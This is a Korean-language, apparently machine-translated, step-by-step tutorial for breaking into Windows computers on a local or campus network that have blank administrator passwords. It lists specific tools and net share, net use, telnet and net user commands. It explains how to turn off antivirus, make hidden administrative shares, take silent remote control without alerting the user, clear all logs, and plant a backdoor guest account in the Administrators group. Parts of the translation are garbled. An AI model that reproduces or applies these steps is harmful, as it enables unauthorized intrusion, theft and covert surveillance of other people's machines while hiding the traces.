우선 다음과 같이 선언합니다.

1. 침입 범위에는 근거리 통신망만 포함됩니다. 학교에 있는 경우 캠퍼스 전체 네트워크에 침입할 수 있습니다.

2. 침입할 수 있는 유일한 것은 비밀번호가 취약하고(사용자 이름은 관리자 등이고 비밀번호가 비어 있음) 포트 139가 열려 있지만 컴퓨터에 방화벽이 활성화되어 있지 않습니다.

침입 도구:

일반적으로 세 가지가 사용됩니다: NTscan 비정상 스캐너, Recton-D He 안티 바이러스 특수 버전, DameWare 미니 중국어 버전 4.5(처음 두 가지 도구는 바이러스 소프트웨어는 바이러스를 보고합니다. 바이러스 백신 소프트웨어의 실시간 바이러스 백신을 일시적으로 끄고 이 두 소프트웨어의 압축 패키지를 암호화하여 종료되는 것을 방지하는 것이 좋습니다.)

침입 단계:

　1. "NTscan 비정상 스캐너"를 사용하여 IP 필드에 스캔할 IP 범위를 입력하고 "WMI 스캔" 방법을 선택한 후 "시작"을 누르고 스캔 결과를 기다립니다.

2. "Recton--D He Antivirus Special Edition"을 사용하세요.

"CMD Command" 항목을 선택하고 "CMD:"에 "net share C$=C:"를 입력하세요. \"를 사용하면 원격 호스트의 C 드라이브 공유를 활성화하고 "C"를 D, E, F 등으로 바꾸거나 D 드라이브, E 드라이브, F 드라이브 등의 공유를 활성화할 수 있습니다. 이런 공유 방법은 매우 은밀한 공유이며, 상대방의 호스트에 디스크를 손으로 쥐고 있는 상태에서는 공유 표시가 없습니다. 그런 다음 주소 표시줄에 "\\상대방의 IP를 입력하세요. \C$ "로 상대방의 C드라이브에 들어갈 수 있습니다.

"Telnet" 항목을 선택하고, "Remote Host"에 방금 스캔한 IP를 입력하고, Telnet 서비스를 원격으로 시작한 다음, 성공 후 "CMD Options"에서 "net share ipc$" 명령을 실행합니다. , 그런 다음 "net share admin$"을 실행하고 마지막으로 "net use \\***.***.***.***\IPC$ "" /user:administrator"를 실행하여 *에 침입 내용을 입력합니다. 호스트 IP.

3. "DameWare Mini Chinese Version 4.5"를 사용하세요. 설치 후 "DameWare Mini Remote Control"을 클릭하고 "도움말" 항목에서 활성화 제품을 선택하고 등록 정보를 입력한 후, "원격 연결" "창"을 입력하고 "호스트"에 IP 주소를 입력한 후 "설정"을 클릭하고 "서비스 설치 옵션"에서 "편집"을 클릭하고 "알림 대화 상자"에서 "연결 시 알림"을 ​​제거한 후 "를 클릭합니다. 추가 설정" "사용자 옵션"에서 모두 선택을 취소하고 "사용자 옵션 메뉴 활성화"를 선택 취소합니다. 설정이 완료되면 "연결"을 클릭하고 팝업 대화 상자에서 "확인"을 클릭하면 다른 사람의 컴퓨터를 자신의 컴퓨터처럼 제어할 수 있습니다. 물론 모니터링만 선택할 수도 있습니다. 상대방의 화면. 참고: 등록하지 않으면 상대방 호스트에 대화 상자가 나타나 귀하의 신원이 노출됩니다.

침입 추가 단계:

1. 위 2단계에서 "내 컴퓨터-관리-다른 컴퓨터에 연결-IP 입력-서비스 및"를 통해 원격으로 Telnet 서비스를 시작할 수 있습니다. 응용프로그램 - 서비스 - 텔넷을 수동으로 변경 - 시작 "마침.

2. 렉톤--디 헤헤 안티 바이러스 특수 버전에는 "프로세스" 항목에서 원격 호스트의 프로세스를 보고 원하는 대로 프로세스를 종료할 수 있습니다. *** 즐겨보세요 "항목에서 공유를 생성할 수 있습니다. 저는 주로 C$, D$, E$, F$를 생성합니다. 공유가 완료된 후 공유 경로는 C:\, D:\ 등에 해당합니다. 주소창에 "\\IP\C$"를 입력하고 상대방의 C 드라이브를 입력하면 내용을 마음대로 복사, 삭제할 수 있으며 상대방의 드라이브 문자에는 *** 공유 아이콘이 표시되지 않습니다. 파티의 컴퓨터는 검색되지 않습니다. 수행한 후에는 공유를 끄는 것이 가장 좋습니다.

마지막으로 "로그"를 선택하면 흔적을 남기지 않고 모든 로그를 지울 수 있습니다. 이 소프트웨어는 바이러스로 간주되어 바이러스 백신 소프트웨어에 의해 종료됩니다. 사용 시 실시간 바이러스 백신을 꺼야 합니다.

3. 위 ***는 CMD(프로그램 - 보조 프로그램 - 명령 프롬프트)를 통해 완료할 수 있습니다. 먼저 "telnet IP", telnet up, y를 입력한 후 사용자 이름 "administrator"와 비밀번호를 입력합니다. 입력 후 명령을 열어 net share 명령을 사용하십시오. C$(예: C 드라이브)를 사용하려면: "net share C$=C:", 시스템 폴더를 사용하려면: "net share c= c:\ winnt\system32", "net share IPC$"를 사용하여 IPC$ 등을 공유합니다. 마지막으로 공유를 닫고 C 드라이브 공유를 닫습니다: "net share C$ /del".

4. 다음 침입을 용이하게 하기 위해 백도어를 설정하고 사용자를 볼 수 있습니다: "net user", 게스트 사용자 활성화

"net user guest /active: yes ", 게스트 변경 비밀번호는 poco: "net user guest poco"이고 게스트의 권한은 관리자 권한으로 업그레이드됩니다: "net localgroup Administrators guest /add".

5. 텔넷 명령(DOS 명령)이 많이 있습니다. 일반적으로 사용되는 명령은 다음과 같습니다: D 드라이브 파일 보기: ""dir d:\", C 드라이브 프로그램 파일 보기 폴더: "dir c:\PROGRA~1\;", 60초 후 종료 카운트다운: "shutdown -s -t 60"

보충 설명:

1.net 사용 오류 이유 해결책:

(1)."시스템 오류 1326이 발생했습니다. 로그인 실패: 알 수 없는 사용자 이름이거나 잘못된 비밀번호입니다. "

원격 컴퓨터의 "제어판-폴더 옵션-보기-단순 파일 공유"에서 체크를 해제한 후 다시 연결을 시도해보세요. 단순 파일 공유는 네트워크 연결 권한을 변경하게 되며 모두 다음과 같이 분류됩니다. 게스트 연결을 시도하고 C$와 같은 관리 공유에 액세스할 수 없습니다.

(2) "시스템 오류 1327이 발생했습니다. 로그인 실패: 사용자 계정 제한. 가능한 이유에는 빈 비밀번호를 허용하지 않는 것, 로그인 시간 제한 또는 시행된 정책 제한 등이 있습니다. "원격 컴퓨터의 "제어판-관리 도구-로컬 보안 정책-보안 옵션-사용자 권한" 할당에서 "비밀번호가 없는 사용자는 콘솔에만 로그인할 수 있습니다"를 비활성화합니다.

　(3)" / /IP/c$"는 네트워크 경로를 찾을 수 없다는 메시지를 표시합니다. "네트워크 및 전화 접속 연결"의 "로컬 영역 연결"에서 "인터넷 프로토콜(TCP/IP)" 속성을 선택하고 "고급 TCP/IP"를 입력합니다. 설정"을 선택하고 "WINS"를 선택합니다. 설정에 "TCP/IP에 NETBIOS 활성화" 항목이 있습니다.